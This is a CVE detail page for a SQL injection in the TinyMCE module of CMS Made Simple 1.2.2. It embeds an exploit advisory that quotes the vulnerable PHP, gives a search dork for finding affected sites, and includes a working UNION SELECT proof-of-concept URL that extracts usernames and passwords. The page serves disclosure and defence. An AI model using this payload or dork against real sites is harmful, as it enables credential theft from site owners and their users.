CVE-2007-6656 : Detail

CVE-2007-6656

SQL Injection
A03-Injection
3.93%V3
Network
2008-01-04
10h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in content_css.php in the TinyMCE module for CMS Made Simple 1.2.2 and earlier allows remote attackers to execute arbitrary SQL commands via the templateid parameter.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4810

Publication date : 2007-12-29 23h00 +00:00
Author : EgiX
EDB Verified : Yes

------------------------------------------------------------------------- CMS Made Simple <= 1.2.2 (TinyMCE module) - Remote SQL Injection Advisory ------------------------------------------------------------------------- author...: EgiX mail.....: n0b0d13s[at]gmail[dot]com link.....: http://www.cmsmadesimple.org/ dork.....: "This site is powered by CMS Made Simple version 1.2.2" [-] Vulnerable code in /modules/TinyMCE/content_css.php : 26. $templateid = ''; 27. if (isset($_GET["templateid"])) $templateid = $_GET["templateid"]; <== 28. 29. $mediatype = ''; 30. if (isset($_GET["mediatype"])) $mediatype = $_GET["mediatype"]; 31. 32. $name = ''; 33. if (isset($_GET['name'])) $name = $_GET['name']; 64. if ($name != '') 65. $sql="SELECT css_text, css_name FROM ".$config['db_prefix']."css WHERE css_name = '" . mysql_real_escape_string($name, $db) . "'"; 66. else 67. $sql="SELECT c.css_text, c.css_id, c.css_name FROM ".$config['db_prefix']."css c,".$config['db_prefix']."css_assoc ac WHERE ac.assoc_type='template' AND ac.assoc_to_id = $templateid (...) <== 68. $result=mysql_query($sql); 69. // echo $sql; 70. while ($result && $row = mysql_fetch_assoc($result)) 71. { 72. $css .= "/* Start of CMSMS style sheet '{$row['css_name']}' */\n{$row['css_text']}\n/* End of '{$row['css_name']}' */\n"; 73. } $_GET["templateid"] isn't properly checked at line 27, this results in a sql injection at line 67 [*] An attacker can break database through browser! P.o.C. : http://[host]/[path]/modules/TinyMCE/content_css.php?templateid=-1/**/UNION/**/SELECT/**/username,1,password/**/FROM/**/{prefix}_users/* # milw0rm.com [2007-12-30]

Products Mentioned

Configuraton 0

Cmsmadesimple>>Cms_made_simple >> Version To (including) 1.2.2

References

http://osvdb.org/39788
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/27074
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/4810
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/28285
Tags : third-party-advisory, x_refsource_SECUNIA